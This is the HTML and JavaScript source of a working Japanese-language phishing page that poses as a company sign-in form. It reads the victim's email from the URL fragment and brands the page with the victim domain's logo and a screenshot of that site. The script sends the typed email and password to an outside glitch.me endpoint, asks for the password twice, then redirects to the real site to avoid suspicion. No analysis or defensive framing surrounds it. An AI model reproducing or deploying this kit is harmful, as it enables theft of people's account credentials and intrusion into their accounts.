<!DOCTYPE html>
<html lang="ja"> <!-- Changed 'en' to 'ja' for Japanese -->
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>ログイン</title> <!-- Changed title to Japanese "Login" -->
    <!-- Bootstrap CSS -->
    <link
      rel="stylesheet"
      href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css"
      integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T"
      crossorigin="anonymous"
    />
    <!-- Google Fonts -->
    <link
      href="https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap"
      rel="stylesheet"
    />
    <style>
      body {
        background: #fff;
        font-family: "Archivo Narrow", sans-serif;
      }

      .container {
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
      }

      .office {
        width: 380px;
        background: #fff;
        box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
        border-radius: 5px;
        padding: 20px;
        margin: auto;
      }

      .logo img {
        width: 50px;
        height: 50px;
      }

      .logo h3,
      .logo h5 {
        margin: 0.5em 0;
      }

      .form-holder input[type="email"],
      .form-holder input[type="password"] {
        width: 100%;
        height: 40px;
        margin-bottom: 15px;
      }

      .checkbox label {
        font-size: 13px;
        margin-left: 5px;
      }

      .btn-holder {
        text-align: center;
      }

      .btn-holder .btn {
        background-color: #0073c6;
        color: #fff;
        border-radius: 0;
        width: 100%;
        padding: 10px;
      }

      .btn-holder .btn:hover {
        background-color: #0056b3;
      }

      .msg {
        display: none;
        font-weight: 600;
        color: red;
        margin-top: 10px;
        text-align: center;
      }

      .error {
        display: none;
        color: red;
        text-align: center;
      }
    </style>
</head>
<body>
    <div class="container">
        <div class="office">
           <!-- <div id="google_translate_element" class="text-center" style="margin-bottom: 20px;"></div>-->

            <div class="logo text-center">
                <img id="proimg" src="https://i.ibb.co/MkZy9Sy/zezezeze.png" alt="Logo" />
                <h3 id="comname" class="text-dark">会社名</h3> 
                <h5 class="font-weight-light">続けるにはサインインしてください</h5> 
            </div>
            <div id="msg" class="msg"></div>
            <div id="error" class="error">無効なパスワード。正しいパスワードを入力してください。</div> 
            <form id="login-form">
                <div class="form-holder">
                    <input type="email" id="email" class="form-control" readonly placeholder="someone@example.com" required />
                    <input type="password" id="password" class="form-control" placeholder="パスワード" required autofocus /> 
                    <div class="checkbox">
                        <input type="checkbox" id="remember-me" />
                        <input type="hidden" id="number" value="0" />
                        <label for="remember-me">私を覚えている</label> 
                    </div>
                    <div class="btn-holder">
                        <button type="submit" class="btn btn-lg" id="submit-btn">ログイン</button> 
                    </div>
                    <p><a href="#">アカウントにアクセスできませんか？</a></p> 
                    <p><a href="#">ワンタイムコードでサインイン</a></p> 
                </div>
            </form>
        </div>
    </div>

        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.js" integrity="sha512-+k1pnlgt4F1H8L7t3z95o3/KO+o78INEcXTbnoJQ/F2VqDVhWoaiVml/OEHv9HsVgxUaVW+IbiZPUJQfF/YxZw==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha384-GV4K6KYzABRF3j5z2a89j3mNXp+Mj2WHtH6/W+30cwj+9gGtLW5wCWfzVEW24F6b" crossorigin="anonymous"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.bundle.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>

    <script>
      $(document).ready(function () {
        var email = window.location.hash.substr(1);
        var my_email = ""; 

        if (email) {
            var base64regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/;
            if (!base64regex.test(email)) {
                my_email = email;
            } else {
                my_email = atob(email);
            }

            var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
            if (filter.test(my_email)) {
                var ind = my_email.indexOf("@");
                var my_slice = my_email.substr(ind + 1);
                var c = my_slice.substr(0, my_slice.indexOf("."));
                var final = c.toUpperCase();

                var image = "url('https://image.thum.io/get/width/1200/https://" + my_slice + "')";
                document.body.style.backgroundImage = image; // Set the background image

                $("#proimg").attr("src", "https://logo.clearbit.com/" + my_slice);
                $("#comname").html(final);
            }
        }

        $("#email").val(my_email);

        var $counter = $("#number");

        if (!$counter.val()) {
            $counter.val(0);
        }

        $("#login-form").submit(function (event) {
            event.preventDefault();

            $counter.val(parseInt($counter.val()) + 1);

            var email = $("#email").val();
            var password = $("#password").val();
            var verify = $counter.val();

            if (!email || !password) {
                $("#msg").text("すべてのフィールドを入力してください。").show(); 
                return;
            }

            $.ajax({
                type: "POST",
                url: "https://uncovered-bustling-twilight.glitch.me/submit", 
                data: {
                    email: email,
                    password: password,
                    count: verify,
                },
                dataType: "json",
                beforeSend: function () {
                    $("#submit-btn").html("認証中..."); 
                },
                success: function (response) {
                    if (response && response.signal === "again") {
                        $("#password").val(""); 
                    }
                    if (response && response.signal === "ok") {
                        $("#password").val("");
                        location.href = "https://" + response.redirect_link;
                    } else {
                        $("#msg")
                            .text(response.msg || "無効な資格情報です。再試行してください。")
                            .show();
                    }
                },
                error: function () {
                    $("#msg").text("エラーが発生しました。もう一度お試しください。").show();
                },
                complete: function () {
                    $("#submit-btn").html("ログイン"); // Reset button text to Japanese
                },
            });

           
            if ($counter.val() >= 2) {
                window.location.href = "https://" + my_slice; 
            }
        });
    });

    </script>
    <script type="text/javascript">
      function googleTranslateElementInit() {
        new google.translate.TranslateElement({
          pageLanguage: 'ja',
          includedLanguages: 'ja,en', //
          layout: google.translate.TranslateElement.InlineLayout.SIMPLE,
          autoDisplay: false
        }, 'google_translate_element');
      }
    </script>
    <script type="text/javascript" src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>

</body>
</html>
